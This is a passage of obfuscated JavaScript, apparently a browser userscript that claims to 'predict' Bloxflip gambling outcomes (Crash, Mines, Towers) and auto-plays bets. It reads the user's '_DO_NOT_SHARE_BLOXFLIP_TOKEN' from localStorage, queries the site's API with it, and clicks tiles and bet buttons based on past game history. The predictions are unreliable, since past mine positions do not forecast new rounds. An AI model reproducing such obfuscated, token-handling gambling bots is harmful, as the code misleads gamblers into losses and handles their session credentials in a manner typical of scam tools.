for (_0x2abc7c of _0x312024) {
if (_0x2abc7c.type === "attributes" &&
_0x2abc7c.attributeName === "class") {
if
(_0x13c52e.classList.contains("crash_isCrashed__bO_Rg")) {
_0x53eeaa = "reset";
_0x5e7167(_0x21c126);
}
break;
}
}
});
var _0x14a700 = {
attributes: true
};
_0x4df782.observe(_0x13c52e, _0x14a700);
}
var _0x330051 = _0x4c6779 < 1.02 ? "Don't bet" : _0x4c6779
+ "x";
var _0x4a726c = _0x3b7bc7 < 1.02 ? "Instant crash" :
_0x3b7bc7 + "x";
var _0x43e857 = _0x3b7bc7 < 1.02 ? "Instant crash" :
_0x1d498d + "x";
var _0x43469d = document.getElementById("predictionLabel");
_0x43469d.textContent = "Prediction: " + _0x4a726c + "\
nRisky: " + _0x43e857 + "\nSafe: " + _0x330051;
_0x43469d.style.fontSize = "24px";
_0x43469d.style.lineHeight = "30px";
3;
} else {
_0x330051 = _0x4c6779 < 1.02 ? "Don't bet" : _0x4c6779 +
"x";
_0x4a726c = _0x3b7bc7 < 1.02 ? "Instant crash" : _0x3b7bc7
+ "x";
_0x43e857 = _0x3b7bc7 < 1.02 ? "Instant crash" : _0x1d498d
+ "x";
_0x43469d = document.getElementById("predictionLabel");
_0x43469d.textContent = "Prediction: " + _0x4a726c + "\
nRisky: " + _0x43e857 + "\nSafe: " + _0x330051;
_0x43469d.style.fontSize = "24px";
_0x43469d.style.lineHeight = "30px";
}
}
}).catch(_0x4ea735 => {});
};
var _0x202097 = function () {
var _0x2933d6 =
document.getElementById("layout_layoutChat__5wEvy");
if (_0x2933d6) {
_0x2933d6.remove();
_0x3a9382.disconnect();
}
};
var _0x41bf7 = function () {
var _0x3317d5 = localStorage.getItem("baseColor");
var _0x408a3e = localStorage.getItem("hoverColor");
var _0x3a334b = localStorage.getItem("activeColor");
var _0x1ca7b4 = localStorage.getItem("themeBaseColor");
var _0x14d3f7 = localStorage.getItem("themeSecondColor");
var _0x54a304 = localStorage.getItem("themeThirdColor");
var _0x2c5cae = localStorage.getItem("themeFourthColor");
if (!_0x3317d5 || !_0x408a3e || !_0x3a334b || !_0x1ca7b4 || !
_0x14d3f7 || !_0x54a304 || !_0x2c5cae) {
_0x3317d5 = "#52d5fe";
_0x408a3e = "#52d5fe";
_0x3a334b = "#52d5fe";
_0x1ca7b4 = "#d6e3f1";
_0x14d3f7 = "#c2cad1";
_0x54a304 = "#f5f5f5";
_0x2c5cae = "#141414";
}
if (_0x3317d5 && _0x408a3e && _0x3a334b && _0x1ca7b4 && _0x14d3f7
&& _0x54a304 && _0x2c5cae) {
var _0x1ffe59 = "\n
:root {\n --baseColor: " + _0x3317d5
+ ";\n --hoverColor: " + _0x408a3e +
";\n --activeColor: " + _0x3a334b +
";\n --themeBaseColor: " + _0x1ca7b4
+ ";\n --themeSecondColor: " +
_0x14d3f7 + ";\n --themeThirdColor:
" + _0x54a304 + ";\n --
themeFourthColor: " + _0x2c5cae + ";\n
}\n ";
var _0x188c86 = document.createElement("style");
_0x188c86.innerHTML = _0x1ffe59;
document.head.appendChild(_0x188c86);
}
};
var _0xaf0f9a = function () {
var _0x58b835 = _0x30dc40("#52d5fe");
var _0x411120 = Math.min(_0x58b835.l + 10, 100);
var _0x5a1bbb = "hsl(" + _0x58b835.h + ", " + _0x58b835.s + "%, "
+ _0x411120 + "%)";
var _0x5e81fe = Math.max(_0x58b835.l - 20, 0);
var _0x30e290 = "hsl(" + _0x58b835.h + ", " + _0x58b835.s + "%, "
+ _0x5e81fe + "%)";
var _0x301abb = "\n :root {\
n --baseColor: #52d5fe;\n
--hoverColor: " + _0x5a1bbb + ";\n --
activeColor: " + _0x30e290 + ";\n }\n
";
var _0x2f761b = document.createElement("style");
_0x2f761b.innerHTML = _0x301abb;
document.head.appendChild(_0x2f761b);
localStorage.setItem("baseColor", "#52d5fe");
localStorage.setItem("hoverColor", _0x5a1bbb);
localStorage.setItem("activeColor", _0x30e290);
};
var _0x17b4fe = function (_0x2a797e) {
var _0xdaa024 = _0x30dc40(_0x2a797e);
var _0x89dd26 = Math.min(_0xdaa024.l + 10, 100);
var _0x1d9aa8 = "hsl(" + _0xdaa024.h + ", " + _0xdaa024.s + "%, "
+ _0x89dd26 + "%)";
var _0x3b3be8 = Math.max(_0xdaa024.l - 20, 0);
var _0x1dda9e = "hsl(" + _0xdaa024.h + ", " + _0xdaa024.s + "%, "
+ _0x3b3be8 + "%)";
var _0x1808f4 = "\n :root {\
n --baseColor: " + _0x2a797e + ";\n
--hoverColor: " + _0x1d9aa8 + ";\n --
activeColor: " + _0x1dda9e + ";\n }\n
";
var _0x594766 = document.createElement("style");
_0x594766.innerHTML = _0x1808f4;
document.head.appendChild(_0x594766);
localStorage.setItem("baseColor", _0x2a797e);
localStorage.setItem("hoverColor", _0x1d9aa8);
localStorage.setItem("activeColor", _0x1dda9e);
};
var _0x30dc40 = function (_0x177953) {
var _0x21c79e = parseInt(_0x177953.substr(1, 2), 16) / 255;
var _0x14e487 = parseInt(_0x177953.substr(3, 2), 16) / 255;
var _0x550caa = parseInt(_0x177953.substr(5, 2), 16) / 255;
var _0x298c62 = Math.max(_0x21c79e, _0x14e487, _0x550caa);
var _0x27221c = Math.min(_0x21c79e, _0x14e487, _0x550caa);
var _0xb2d7b = (_0x298c62 + _0x27221c) / 2;
var _0x3317b7;
var _0x13b4d0;
if (_0x298c62 === _0x27221c) {
_0x3317b7 = _0x13b4d0 = 0;
} else {
var _0x1021f9 = _0x298c62 - _0x27221c;
_0x13b4d0 = _0xb2d7b > 0.5 ? _0x1021f9 / (2 - _0x298c62 -
_0x27221c) : _0x1021f9 / (_0x298c62 + _0x27221c);
switch (_0x298c62) {
case _0x21c79e:
_0x3317b7 = (_0x14e487 - _0x550caa) / _0x1021f9 +
(_0x14e487 < _0x550caa ? 6 : 0);
break;
case _0x14e487:
_0x3317b7 = (_0x550caa - _0x21c79e) / _0x1021f9 + 2;
break;
case _0x550caa:
_0x3317b7 = (_0x21c79e - _0x14e487) / _0x1021f9 + 4;
break;
}
_0x3317b7 = _0x3317b7 / 6;
}
var _0x1ee530 = {
h: _0x3317b7 * 360,
s: _0x13b4d0 * 100,
l: _0xb2d7b * 100
};
return _0x1ee530;
};
var _0x2af052 = function () {
function _0x308613() {
if (_0x166ebe.textContent === "Dark") {
_0x166ebe.textContent = "Light";
_0x2c054f();
} else {
_0x166ebe.textContent = "Dark";
_0x1e6cef();
}
}
function _0x1e6cef() {
var _0x2a2993 = document.createElement("style");
_0x2a2993.innerHTML = "\n
:root {\n --themeBaseColor: #d6e3f1;\n
--themeSecondColor: #c2cad1;\n --
themeThirdColor: #f5f5f5;\n --
themeFourthColor: #ffffff;\n }\n
";
document.head.appendChild(_0x2a2993);
localStorage.setItem("themeBaseColor", "#d6e3f1");
localStorage.setItem("themeSecondColor", "#c2cad1");
localStorage.setItem("themeThirdColor", "#f5f5f5");
localStorage.setItem("themeFourthColor", "#141414");
}
function _0x2c054f() {
var _0x148ec0 = document.createElement("style");
_0x148ec0.innerHTML = "\n
:root {\n --themeBaseColor: #e3e3e3;\n
--themeSecondColor: #f0f0f0;\n --
themeThirdColor: #f5f5f5;\n --
themeFourthColor: #000000;\n }\n
";
document.head.appendChild(_0x148ec0);
localStorage.setItem("themeBaseColor", "#e3e3e3");
localStorage.setItem("themeSecondColor", "#f0f0f0");
localStorage.setItem("themeThirdColor", "#f5f5f5");
localStorage.setItem("themeFourthColor", "#000000");
}
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"colorPickerWindow\">\n
<div id=\"colorPickerTitleBar\">\n
<div id=\"colorPickerTitleContainer\">\n
<span id=\"colorPickerTitle\">Color Picker</span>\n
</div>\n <button
id=\"colorExitButton\">-</button>\n
</div>\n <div
id=\"colorPickerContainer\" class=\"centered\">\n
<div id=\"colorPickerButtons1\" class=\"centered\">\n
<input type=\"color\" id=\"colorPicker\" class=\"centered\">\n
</div>\n <div
id=\"colorPickerButtons\" class=\"centered\">\n
<button id=\"applyButton\">Apply</button>\n
<button id=\"cancelButton\">Cancel</button>\n
</div>\n <div
id=\"colorPickerButtons2\" class=\"centered\">\n
<button id=\"resetButton\">Reset</button>\n
<button id=\"themeButton\">Theme</button>\n
</div>\n </div>\n
</div>\n ");
var _0x2435ad = document.getElementById("colorPickerWindow");
var _0x30a2ea = document.getElementById("colorPicker");
var _0x310eb7 = document.getElementById("applyButton");
var _0x374eff = document.getElementById("cancelButton");
var _0x518900 = document.getElementById("resetButton");
var _0x2e3a6e = document.getElementById("colorExitButton");
var _0x166ebe = document.getElementById("themeButton");
_0x30a2ea.value =
getComputedStyle(document.documentElement).getPropertyValue("--baseColor");
var _0x2040e8 = _0x379a3b.getBoundingClientRect();
var _0x3caf92 = _0x2040e8.left + _0x2040e8.width / 2 -
_0x2435ad.offsetWidth / 2;
var _0x4a5c7d = _0x2040e8.top + _0x2040e8.height / 2 -
_0x2435ad.offsetHeight / 2;
var _0x2ef1aa = document.getElementById("settingsWindow");
_0x2435ad.style.left = _0x3caf92 + "px";
_0x2435ad.style.top = _0x4a5c7d + "px";
_0x310eb7.addEventListener("click", function () {
_0x308613(_0x30a2ea.value);
_0x2435ad.remove();
_0x2ef1aa.style.pointerEvents = "auto";
_0x2ef1aa.style.filter = "none";
_0x2ef1aa.style.filter = "none";
_0x27f523(event);
});
_0x2e3a6e.addEventListener("click", function () {
_0x2435ad.remove();
_0x2ef1aa.style.pointerEvents = "auto";
_0x2ef1aa.style.filter = "none";
_0x2ef1aa.style.filter = "none";
_0x27f523(event);
});
_0x374eff.addEventListener("click", function () {
_0x2435ad.remove();
_0x2ef1aa.style.pointerEvents = "auto";
_0x2ef1aa.style.filter = "none";
_0x2ef1aa.style.filter = "none";
_0x27f523(event);
});
_0x518900.addEventListener("click", function () {
_0xaf0f9a();
_0x2435ad.remove();
_0x2ef1aa.style.pointerEvents = "auto";
_0x2ef1aa.style.filter = "none";
_0x2ef1aa.style.filter = "none";
_0x27f523(event);
});
_0x166ebe.addEventListener("click", function () {
_0x308613();
_0x27f523(event);
});
};
var _0x29e105 = function () {
function _0xb17723() {
if (_0x40ed70) {
_0x6ed599.textContent = "Safe (" + _0x58029a + ")";
} else {
_0x6ed599.textContent = "Safe (none)";
}
}
function _0x5c700a(_0x7c55db) {
_0x40ed70 = _0x7c55db;
if (_0x40ed70) {
_0x58029a = String.fromCharCode(_0x40ed70);
} else {
_0x58029a = "none";
}
localStorage.setItem("safeKeyCode", _0x40ed70);
localStorage.setItem("safeChosenKey", _0x58029a);
_0xb17723();
document.removeEventListener("keydown", _0x5474c7);
_0x27f523(event);
}
function _0x5474c7(_0x221ca4) {
if (_0x221ca4.keyCode === 27) {
_0x5c700a(null);
} else {
_0x5c700a(_0x221ca4.keyCode);
}
}
function _0x39160a() {
if (_0x476da5) {
_0x5b665c.textContent = "Mines (" + _0x208957 + ")";
} else {
_0x5b665c.textContent = "Mines (none)";
}
}
function _0xe6569f(_0x4f402e) {
_0x476da5 = _0x4f402e;
if (_0x476da5) {
_0x208957 = String.fromCharCode(_0x476da5);
} else {
_0x208957 = "none";
}
localStorage.setItem("minesKeyCode", _0x476da5);
localStorage.setItem("minesChosenKey", _0x208957);
_0x39160a();
document.removeEventListener("keydown", _0x5bc7d9);
_0x27f523(event);
}
function _0x5bc7d9(_0x562948) {
if (_0x562948.keyCode === 27) {
_0xe6569f(null);
} else {
_0xe6569f(_0x562948.keyCode);
}
}
function _0x196b4d() {
if (_0x35ee25) {
_0x1bcf96.textContent = "Crash (" + _0x720efe + ")";
} else {
_0x1bcf96.textContent = "Crash (none)";
}
}
function _0x4b2461(_0x4be068) {
_0x35ee25 = _0x4be068;
if (_0x35ee25) {
_0x720efe = String.fromCharCode(_0x35ee25);
} else {
_0x720efe = "none";
}
localStorage.setItem("crashKeyCode", _0x35ee25);
localStorage.setItem("crashChosenKey", _0x720efe);
_0x196b4d();
document.removeEventListener("keydown", _0xae5329);
_0x27f523(event);
}
function _0xae5329(_0x58b419) {
if (_0x58b419.keyCode === 27) {
_0x4b2461(null);
} else {
_0x4b2461(_0x58b419.keyCode);
}
}
function _0x130b7d() {
if (_0x42626f) {
_0x143504.textContent = "Slide (" + _0x2e97de + ")";
} else {
_0x143504.textContent = "Slide (none)";
}
}
function _0x47ae53(_0x1e8015) {
_0x42626f = _0x1e8015;
if (_0x42626f) {
_0x2e97de = String.fromCharCode(_0x42626f);
} else {
_0x2e97de = "none";
}
localStorage.setItem("slideKeyCode", _0x42626f);
localStorage.setItem("slideChosenKey", _0x2e97de);
_0x130b7d();
document.removeEventListener("keydown", _0x33257f);
_0x27f523(event);
}
function _0x33257f(_0x59db8c) {
if (_0x59db8c.keyCode === 27) {
_0x47ae53(null);
} else {
_0x47ae53(_0x59db8c.keyCode);
}
}
function _0xe0da50() {
if (_0x32cae5) {
_0x4419d1.textContent = "Towers (" + _0x1842ad + ")";
} else {
_0x4419d1.textContent = "Towers (none)";
}
}
function _0xde5956(_0x879e2f) {
_0x32cae5 = _0x879e2f;
if (_0x32cae5) {
_0x1842ad = String.fromCharCode(_0x32cae5);
} else {
_0x1842ad = "none";
}
localStorage.setItem("towersKeyCode", _0x32cae5);
localStorage.setItem("towersChosenKey", _0x1842ad);
_0xe0da50();
document.removeEventListener("keydown", _0x3156e0);
_0x27f523(event);
}
function _0x3156e0(_0x509b64) {
if (_0x509b64.keyCode === 27) {
_0xde5956(null);
} else {
_0xde5956(_0x509b64.keyCode);
}
}
function _0xca36ec() {
if (_0x1d07d0 === 16) {
_0x4a3e24 = "shift";
}
if (_0x1d07d0) {
_0x36a715.textContent = "Menu (" + _0x4a3e24 + ")";
} else {
_0x36a715.textContent = "Menu (none)";
}
}
function _0x10f842(_0x4b6bd8) {
_0x1d07d0 = _0x4b6bd8;
if (_0x1d07d0) {
_0x4a3e24 = String.fromCharCode(_0x1d07d0);
} else {
_0x4a3e24 = "none";
}
localStorage.setItem("menuKeyCode", _0x1d07d0);
localStorage.setItem("menuChosenKey", _0x4a3e24);
_0xca36ec();
document.removeEventListener("keydown", _0x4cab6d);
_0x27f523(event);
}
function _0x4cab6d(_0x106011) {
if (_0x106011.keyCode === 27) {
_0x10f842(0);
} else {
_0x10f842(_0x106011.keyCode);
}
}
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"keyBindsWindow\">\n <div
id=\"keyBindsTitleBar\">\n <div
id=\"keyBindsTitleContainer\">\n
<span id=\"keyBindsTitle\">Keybinds</span>\n
</div>\n <button
id=\"bindExitButton\">-</button>\n
</div>\n <div id=\"keyBindsContainer\"
class=\"centered\">\n <div
id=\"row1\" class=\"centered\">\n
<button id=\"safeBindButton\">Safe</button>\n
<button id=\"minesBindButton\">Mines</button>\n
</div>\n <div id=\"row2\"
class=\"centered\">\n <button
id=\"slideBindButton\">Slide</button>\n
<button id=\"crashBindButton\">Crash</button>\n
</div>\n <div id=\"row3\"
class=\"centered\">\n <button
id=\"towersBindButton\">Towers</button>\n
<button id=\"menuBindButton\">Menu</button>\n
</div>\n </div>\n
</div>\n ");
var _0x5cb40d = document.getElementById("keyBindsWindow");
var _0x6ed599 = document.getElementById("safeBindButton");
var _0x5b665c = document.getElementById("minesBindButton");
var _0x1bcf96 = document.getElementById("crashBindButton");
var _0x143504 = document.getElementById("slideBindButton");
var _0x4419d1 = document.getElementById("towersBindButton");
var _0x36a715 = document.getElementById("menuBindButton");
var _0x17b611 = document.getElementById("bindExitButton");
var _0x35f956 = _0x379a3b.getBoundingClientRect();
var _0x256edb = _0x35f956.left + _0x35f956.width / 2 -
_0x5cb40d.offsetWidth / 2;
var _0x5f52f2 = _0x35f956.top + _0x35f956.height / 2 -
_0x5cb40d.offsetHeight / 2;
var _0x34ba02 = document.getElementById("settingsWindow");
_0x5cb40d.style.left = _0x256edb + "px";
_0x5cb40d.style.top = _0x5f52f2 + "px";
_0x17b611.addEventListener("click", function () {
_0x5cb40d.remove();
_0x34ba02.style.pointerEvents = "auto";
_0x34ba02.style.filter = "none";
_0x34ba02.style.filter = "none";
_0x27f523(event);
});
var _0x40ed70 = parseInt(localStorage.getItem("safeKeyCode"));
var _0x58029a = localStorage.getItem("safeChosenKey") || "";
var _0x476da5 = parseInt(localStorage.getItem("minesKeyCode"));
var _0x208957 = localStorage.getItem("minesChosenKey") || "";
var _0x35ee25 = parseInt(localStorage.getItem("crashKeyCode"));
var _0x720efe = localStorage.getItem("crashChosenKey") || "";
var _0x42626f = parseInt(localStorage.getItem("slideKeyCode"));
var _0x2e97de = localStorage.getItem("slideChosenKey") || "";
var _0x32cae5 = parseInt(localStorage.getItem("towersKeyCode"));
var _0x1842ad = localStorage.getItem("towersChosenKey") || "";
var _0x1d07d0 = parseInt(localStorage.getItem("menuKeyCode")) ||
16;
var _0x4a3e24 = localStorage.getItem("menuChosenKey") || "shift";
_0x6ed599.addEventListener("click", function () {
_0x6ed599.textContent = "Safe (...)";
document.addEventListener("keydown", _0x5474c7);
});
if (_0x40ed70) {
document.addEventListener("keydown", function (_0x39e956) {
if (_0x39e956.keyCode === _0x40ed70) {
_0x1d0171();
}
});
}
_0xb17723();
_0x5b665c.addEventListener("click", function () {
_0x5b665c.textContent = "Mines (...)";
document.addEventListener("keydown", _0x5bc7d9);
});
if (_0x476da5) {
document.addEventListener("keydown", function (_0x259a2e) {
if (_0x259a2e.keyCode === _0x476da5) {
_0x27c9a0();
}
});
}
_0x39160a();
_0x1bcf96.addEventListener("click", function () {
_0x1bcf96.textContent = "Crash (...)";
document.addEventListener("keydown", _0xae5329);
});
if (_0x35ee25) {
document.addEventListener("keydown", function (_0x12e764) {
if (_0x12e764.keyCode === _0x35ee25) {
_0x3dd9b2();
}
});
}
_0x196b4d();
document.addEventListener("keydown", function (_0x536021) {
if (_0x536021.keyCode === 27) {
_0x536021.preventDefault();
}
});
_0x143504.addEventListener("click", function () {
_0x143504.textContent = "Slide (...)";
document.addEventListener("keydown", _0x33257f);
});
if (_0x42626f) {
document.addEventListener("keydown", function (_0x570400) {
if (_0x570400.keyCode === _0x42626f) {
_0x3ed581();
}
});
}
_0x130b7d();
document.addEventListener("keydown", function (_0x170b1e) {
if (_0x170b1e.keyCode === 27) {
_0x170b1e.preventDefault();
}
});
_0x4419d1.addEventListener("click", function () {
_0x4419d1.textContent = "Towers (...)";
document.addEventListener("keydown", _0x3156e0);
});
if (_0x32cae5) {
document.addEventListener("keydown", function (_0x3a7341) {
if (_0x3a7341.keyCode === _0x32cae5) {
_0x2e6566();
}
});
}
_0xe0da50();
document.addEventListener("keydown", function (_0xa74f38) {
if (_0xa74f38.keyCode === 27) {
_0xa74f38.preventDefault();
}
});
_0x36a715.addEventListener("click", function () {
_0x36a715.textContent = "Menu (...)";
document.addEventListener("keydown", _0x4cab6d);
});
_0xca36ec();
document.addEventListener("keydown", function (_0x4d90eb) {
if (_0x4d90eb.keyCode === 27) {
_0x4d90eb.preventDefault();
}
});
};
var _0x1f999d = function (_0x19c25b) {
var _0x49f815 = new Headers();
_0x49f815.append("User-Agent", "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141
Safari/537.36");
_0x49f815.append("X-Auth-Token", value);
var _0x3b5586 = {
method: "GET",
headers: _0x49f815
};
fetch("https://api.bloxflip.com/games/towers",
_0x3b5586).then(_0x4b721e => {
return _0x4b721e.json();
}).then(_0x545e0c => {
var _0x2261ac = _0x545e0c.hasGame;
if (_0x2261ac) {
var _0x2ca321 = _0x545e0c.game.difficulty;
if (_0x2ca321 === "hard") {
var _0x4fdfb7 = document.getElementById("predictionLabel");
_0x4fdfb7.textContent = "Cannot predict for hard
difficulty";
_0x4fdfb7.style.fontSize = "24px";
_0x4fdfb7.style.lineHeight = "30px";
var _0x1418e3 =
document.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im");
_0x1418e3.forEach(function (_0x48ffdd) {
_0x48ffdd.classList.remove("safeoutlined");
});
return;
}
var _0x4c0df9 = {
method: "GET",
headers: _0x49f815
};
fetch("https://api.bloxflip.com/games/towers/history?
size=5&page=0", _0x4c0df9).then(_0x4297dc => {
return _0x4297dc.json();
}).then(_0x177d22 => {
function _0x556125(_0x533b40) {
return _0x533b40.reduce(function (_0x124350, _0x411ff9) {
return _0x124350 + (_0x411ff9 === 1 ? 1 : 0);
}, 0);
}
function _0x23cea1(_0x558881) {
if (_0x558881 < 0 || _0x5bb51c === 0) {
return;
}
var _0x31c9a = _0x3f4e1d[_0x558881];
_0x31c9a.click();
_0x5bb51c--;
setTimeout(function () {
_0x23cea1(_0x558881 - 1);
}, 1250);
}
var _0x36673e = _0x177d22.data[1].towerLevels;
_0x36673e.reverse();
var _0x24f5e7;
var _0x5bef12 = _0x177d22.data[1].difficulty;
if (_0x5bef12 === "normal") {
_0x24f5e7 =
document.querySelectorAll(".towers_towersGameRow__TeoqD");
} else {
_0x24f5e7 =
document.querySelectorAll(".towers_towersGameRow__TeoqD.towers_towersGameThreeRows_
_NHpS9");
}
_0x24f5e7.forEach(function (_0x2aeec7, _0x214abd) {
var _0xc1c27e =
_0x2aeec7.querySelectorAll(".towers_towersGameRowContainer__W4mP_");
var _0x277a3a = 0;
var _0x11595a = null;
_0xc1c27e.forEach(function (_0x568a33, _0x10ec53) {
var _0x25cf26 =
_0x568a33.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im");
var _0x124392 = _0x556125(_0x36673e[_0x214abd]);
if (_0x36673e[_0x214abd][_0x10ec53] === 1 && _0x124392
>= _0x277a3a) {
_0x277a3a = _0x124392;
_0x11595a = _0x25cf26[0];
}
});
if (_0x11595a) {
_0x11595a.classList.add("safeoutlined", "active");
}
});
var _0x3f4e1d =
document.querySelectorAll(".button_button__eJwei.towers_towersGameButton__Fm2im.saf
eoutlined");
var _0x4c17e1 = _0x3f4e1d.length - 1;
var _0x5bb51c = Math.min(_0x19c25b, _0x4c17e1 + 1);
_0x23cea1(_0x4c17e1);
});
} else {}
}).catch(_0x3fad3c => {});
};
var _0x91f9c9 = function () {
var _0x31be4c =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x174e2a = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x31be4c
};
var _0x4bb6ec = {
method: "GET",
headers: _0x174e2a
};
fetch("https://api.bloxflip.com/games/towers",
_0x4bb6ec).then(_0x4ac785 => {
return _0x4ac785.json();
}).then(_0x5577ab => {
var _0x26a46a = _0x5577ab.hasGame;
if (_0x26a46a) {
var _0x49bcfe =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0x49bcfe) {
_0x49bcfe.click();
}
setTimeout(function () {
var _0x3af796 =
document.querySelector(".button_primary__mdLFG.gameBetSubmit");
if (_0x3af796) {
_0x3af796.click();
}
setTimeout(function () {
_0x1f999d();
}, 3000);
}, 3000);
} else {
if (_0x49bcfe) {
_0x49bcfe.click();
}
setTimeout(function () {
_0x1f999d();
}, 2000);
}
}).catch(_0x6310c2 => {});
};
var _0x482ef6 = function () {
_0x27f523(event);
_0x51309f = !_0x51309f;
var _0xe88655 = document.getElementById("towersPlayButton");
if (_0x51309f) {
_0xe88655.textContent = "Auto play (On)";
_0x12e978 = setInterval(_0x91f9c9, 2000);
} else {
_0xe88655.textContent = "Auto play (Off)";
clearInterval(_0x12e978);
}
};
var _0x55fbb1 = function () {
var _0x139bd3 =
document.querySelector(".button_primary__mdLFG.gameBetSubmit");
if (_0x139bd3) {
_0x139bd3.removeEventListener("click", _0x3b7cb5);
}
};
var _0x18add2 = function () {
var _0x467072 =
document.querySelector(".button_button__eJwei.button_primary__mdLFG.gameBetSubmit")
;
if (_0x467072) {
_0x467072.addEventListener("click", _0x3b7cb5);
}
};
var _0x3b7cb5 = function () {
setTimeout(_0x2e6566, 500);
};
var _0x396304 = function () {
_0x27f523(event);
_0x3aa534 = !_0x3aa534;
var _0x153dd6 =
document.getElementById("towersAutoPredictButton");
if (_0x3aa534) {
_0x153dd6.textContent = "Auto predict (On)";
_0x18add2();
} else {
_0x153dd6.textContent = "Auto predict (Off)";
_0x55fbb1();
}
};
var _0x29be45 = function () {
document.body.insertAdjacentHTML("beforeend", "\n
<div id=\"towersAutoPlayWindow\">\n <div
id=\"towersAutoPlayTitleBar\">\n
<div id=\"towersAutoPlayTitleContainer\">\n
<span id=\"towersAutoPlayTitle\">Auto Towers</span>\n
</div>\n <button
id=\"towersAutoExitButton\">-</button>\n
</div>\n <div
id=\"towersAutoPlayContainer\" class=\"centered\">\n
<div id=\"row1\" class=\"centered\">\n
<button id=\"towersPlayButton\">Auto play</button>\n
<button id=\"towersAutoPredictButton\">Auto predict</button>\n
</div>\n <div id=\"autorow2\"
class=\"centered\">\n <label
id=\"spotsSliderLabel\" for=\"spotsSlider\">Spots:</label>\n
<span id=\"spotsLabel\">1</span>\n
</div>\n <div id=\"row3\"
class=\"centered\">\n <input
type=\"range\" id=\"spotsSlider\" min=\"1\" max=\"8\" value=\"1\">\n
</div>\n </div>\n
</div>\n ");
var _0x1a11ca = document.getElementById("towersAutoPlayWindow");
var _0x2b2a9e = document.getElementById("towersPlayButton");
var _0x406e12 =
document.getElementById("towersAutoPredictButton");
var _0x253c05 = document.getElementById("towersAutoExitButton");
var _0x48a652 = document.getElementById("spotsSlider");
var _0x4310c8 = document.getElementById("spotsLabel");
var _0x3b1244 = _0x379a3b.getBoundingClientRect();
var _0x1d393d = _0x3b1244.left + _0x3b1244.width / 2 -
_0x1a11ca.offsetWidth / 2;
var _0x178410 = _0x3b1244.top + _0x3b1244.height / 2 -
_0x1a11ca.offsetHeight / 2;
var _0x599039 = document.getElementById("settingsWindow");
_0x1a11ca.style.left = _0x1d393d + "px";
_0x1a11ca.style.top = _0x178410 + "px";
_0x406e12.addEventListener("click", _0x396304);
_0x2b2a9e.addEventListener("click", _0x482ef6);
_0x253c05.addEventListener("click", function () {
_0x1a11ca.remove();
_0x599039.style.pointerEvents = "auto";
_0x599039.style.filter = "none";
_0x599039.style.filter = "none";
_0x27f523(event);
});
_0x48a652.addEventListener("input", function () {
var _0x33de3f = parseInt(_0x48a652.value);
_0x4310c8.textContent = _0x33de3f;
var _0x4c0e36 = "linear-gradient(to right, var(--baseColor) 0%,
var(--baseColor) " + (_0x33de3f - 1) / 8 * 100 + "%, #383838 " + (_0x33de3f - 1) /
8 * 100 + "%, #383838 100%)";
_0x48a652.style.background = _0x4c0e36;
_0x27f523(event);
});
};
var _0x2f6cd7 = function () {
var _0x269792 =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x3c6719 = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
"X-Auth-Token": _0x269792
};
var _0x5c071f = {
method: "GET",
headers: _0x3c6719
};
fetch("https://api.bloxflip.com/games/mines/history?
size=5&page=0", _0x5c071f).then(_0x5552da => {
return _0x5552da.json();
}).then(_0xcbe7c3 => {
if (_0xcbe7c3.success === true &&
Array.isArray(_0xcbe7c3.data)) {
var _0x468ed5 = [];
_0xcbe7c3.data.forEach(function (_0x17aaf0) {
if (Array.isArray(_0x17aaf0.mineLocations)) {
_0x468ed5 = _0x468ed5.concat(_0x17aaf0.mineLocations);
}
});
var _0x46b239 = _0x468ed5.map(function (_0x1c9b95) {
return _0x1c9b95 + 1;
});
var _0x2561fc = {};
_0x46b239.forEach(function (_0x524db0) {
if (_0x2561fc[_0x524db0] === undefined) {
_0x2561fc[_0x524db0] = 1;
} else {
_0x2561fc[_0x524db0]++;
}
});
var _0x149289 = Object.keys(_0x2561fc).sort(function
(_0x31d815, _0x412b25) {
return _0x2561fc[_0x412b25] - _0x2561fc[_0x31d815];
});
var _0x42a9d9 = _0x149289.slice(0, 4);
_0x42a9d9.reverse();
setTimeout(function () {
var _0xd29ff5 =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0xd29ff5) {
_0xd29ff5.click();
}
try {
var _0x4c8406 = function (_0x4e5df1) {
if (_0x4e5df1 >= _0x5e820f) {
var _0x403566 =
document.querySelector(".button_secondary__dwIbt.gameBetSubmit");
if (_0x403566) {
_0x403566.click();
}
return;
}
var _0x424198 = _0x42a9d9[_0x4e5df1];
var _0x419388 = _0x424198 - 1;
var _0x341a6b = Math.floor(_0x419388 / 5);
var _0x1f61b5 = _0x419388 % 5;
var _0x24454d = 4 - _0x1f61b5;
var _0x1f8a6d = _0x341a6b * 5 + _0x24454d + 1;
if (_0x1f8a6d >= 1 && _0x1f8a6d <= 25) {
_0x32c16f[_0x1f8a6d - 1].click();
}
setTimeout(function () {
_0x4c8406(_0x4e5df1 + 1);
}, 125);
};
var _0xcfd876 = document.getElementById("spotsSlider");
var _0x5e820f = parseInt(_0xcfd876.value);
var _0x32c16f =
document.querySelectorAll(".mines_minesGameItem__S2ytQ");
_0x4c8406(0);
} catch (_0x32eadb) {}
}, 1250);
} else {
var _0x560dfd = document.getElementById("predictionLabel");
_0x560dfd.textContent = "Invalid API Response";
_0x560dfd.style.fontSize = "24px";
_0x560dfd.style.lineHeight = "30px";
}
}).catch(_0xc3bd2b => {});
};
var _0x332de1 = function () {
var _0x29efcd =
localStorage.getItem("_DO_NOT_SHARE_BLOXFLIP_TOKEN");
var _0x59c58c = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
